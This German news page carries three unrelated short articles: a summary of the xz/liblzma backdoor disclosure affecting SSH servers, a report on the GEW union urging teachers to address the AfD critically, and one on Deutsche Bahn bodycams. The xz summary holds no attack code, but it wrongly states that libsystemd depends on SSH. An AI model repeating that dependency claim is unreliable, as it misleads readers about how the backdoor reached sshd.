Sicherheitslücke in upstream xz/liblzma führt zu Kompromittierung von SSH-Servern

In einem kürzlich veröffentlichten Beitrag auf der oss-security-Mailingliste wurde eine schwerwiegende Sicherheitslücke in der xz-Bibliothek, genauer gesagt in der liblzma-Komponente, offenbart. Diese Sicherheitslücke könnte dazu führen, dass SSH-Server kompromittiert werden. Andres Freund, der Entdecker der Lücke, teilte seine Erkenntnisse mit der Gemeinschaft und erläuterte die Ursachen und potenziellen Auswirkungen dieser Schwachstelle.

Entdeckung der Sicherheitslücke

Freund bemerkte ungewöhnliche Symptome in Bezug auf liblzma auf Debian sid-Installationen in den letzten Wochen. Zu diesen Symptomen gehörten eine starke CPU-Auslastung bei SSH-Anmeldungen und Valgrind-Fehler. Nach einer gründlichen Untersuchung stellte er fest, dass die Ursache der Sicherheitslücke nicht in den Debian-Paketen lag, sondern im Upstream xz-Repository.

Kompromittierte Release-Tarballs

Die Sicherheitslücke war teilweise in den verteilten Tarballs enthalten. Ein Teil des Backdoors war in den Tarballs enthalten, jedoch nicht im Upstream-Quellcode. Dies führte dazu, dass das Backdoor-Skript bei der Konfiguration des xz-Builds ausgeführt wurde.

Kompromittiertes Repository

Ein weiterer Teil des Backdoors war im Repository selbst enthalten, insbesondere in den Dateien bad-3-corrupt_lzma2.xz und good-large_compressed.lzma. Diese Dateien wurden im Repository unter obskuren Namen und in verschleierter Form hinzugefügt.

Auswirkungen auf SSH-Server

Die Sicherheitslücke kann dazu führen, dass SSH-Anmeldungen deutlich langsamer werden. Dies ist auf die Ausführung des Backdoor-Skripts zurückzuführen, das bestimmte Bedingungen überprüft, bevor es aktiv wird. Insbesondere Anmeldungen über SSH können betroffen sein, da libsystemd von SSH abhängt und auch von liblzma verwendet wird.

Maßnahmen und Empfehlungen

Die Entdeckung dieser Sicherheitslücke verdeutlicht die Bedeutung von regelmäßigen Sicherheitsüberprüfungen und Audits bei der Verwendung von Open-Source-Software. Benutzer von xz und liblzma sollten dringend auf die neuesten Updates achten und sicherstellen, dass ihre Systeme gepatcht sind.

Für diejenigen, die von dieser Sicherheitslücke betroffen sind, wird dringend empfohlen, ihre SSH-Server zu überwachen und nach verdächtigem Verhalten zu suchen. Darüber hinaus sollten sie sicherstellen, dass ihre Systeme so schnell wie möglich auf gepatchte Versionen aktualisiert werden.

Fazit

Die Sicherheitslücke in upstream xz/liblzma stellt eine ernsthafte Bedrohung für SSH-Server dar und erfordert eine schnelle Reaktion von Entwicklern und Systemadministratoren. Durch eine Kombination aus sicherheitsorientierter Entwicklung und proaktiver Überwachung können zukünftige Sicherheitsrisiken minimiert werden.

Quellen:

https://lwn.net/ml/oss-security/20240329155126.kjjfduxw2yrlxgzm@awork3.anarazel.de

https://www.openwall.com/lists/oss-security/2024/03/29/4

GEW ruft Lehrkräfte zum kritischen Umgang mit AfD im Unterricht auf


Die Gewerkschaft Erziehung und Wissenschaft (GEW) ruft Lehrkräfte in Deutschland dazu auf, im Unterricht kritisch mit der AfD umzugehen. GEW-Chefin Maike Finnern betont, dass die AfD verfassungsfeindliche Tendenzen aufweise und Lehrkräfte daher im Klassenraum offen darüber sprechen sollten. Sie ermutigt Lehrkräfte, konkrete Aussagen und Vorgänge der AfD mit den Schülerinnen und Schülern zu analysieren und zu diskutieren.

Finnern unterstreicht, dass Lehrkräfte nicht nur das Recht, sondern sogar die Pflicht hätten, sich gegen Rechtsextremismus und für Demokratie und Vielfalt einzusetzen. Sie betont, dass Lehrkräfte auf die Verfassung schwören und diese verteidigen sollten.

Es sei nicht korrekt anzunehmen, dass Lehrkräfte Ärger mit ihrem Dienstherrn bekämen, wenn sie an Demonstrationen gegen Rechtsextremismus teilnähmen. Wie andere Staatsbürger hätten sie das Recht, ihre Stimme gegen Rechtsextremismus zu erheben.

Insgesamt appelliert die GEW an Lehrkräfte, sich kritisch gegenüber der AfD zu äußern und aktiv für demokratische Werte einzutreten.

Deutsche Bahn: Zugbegleiter werden mit Bodycams ausgestattet


Die Deutsche Bahn plant, ihre Mitarbeitenden im Regionalverkehr mit Bodycams auszustatten, um sie besser vor Übergriffen zu schützen. Laut der Deutschen Bahn AG gab es im letzten Jahr rund 3.150 Angriffe auf ihre Mitarbeitenden, wobei der Großteil auf das Zugpersonal im Regionalverkehr entfiel. Um diesem Trend entgegenzuwirken, sollen die Bodycams zunächst auf freiwilliger Basis und schrittweise auf ausgewählten Strecken eingeführt werden.

Die Entscheidung basiert auf erfolgreichen Tests in verschiedenen Regionen Deutschlands, bei denen sich die Bodycams als präventiv und deeskalierend erwiesen haben. Mitarbeitende, die bereits Bodycams tragen, berichten von einer rückläufigen Anzahl körperlicher und verbaler Angriffe. Die Kameras zeichnen ausschließlich Bildmaterial auf und werden nur in eskalierenden Situationen aktiviert.

Die gespeicherten Daten werden verschlüsselt und nach 72 Stunden automatisch gelöscht. Zugriff darauf haben nur die Bundespolizei und der interne Datenschutz der Deutschen Bahn. Die Einführung der Bodycams ist Teil eines größeren Sicherheitskonzepts der Bahn, das auch die Installation von mehr als 50.000 Videokameras im Regional- und S-Bahn-Verkehr sowie an Bahnhöfen umfasst.

Während die Deutsche Bahn ihre Sicherheitsmaßnahmen verstärkt, zeigen sich private Regional-Bahnen in Bayern zurückhaltend bei der Einführung von Bodycams. Die Berliner Verkehrsbetriebe hingegen haben ein Pilotprojekt gestartet, bei dem Sicherheitsmitarbeitende mit Bodycams ausgestattet werden, um die Sicherheit in U-Bahnhöfen und Fahrzeugen zu erhöhen.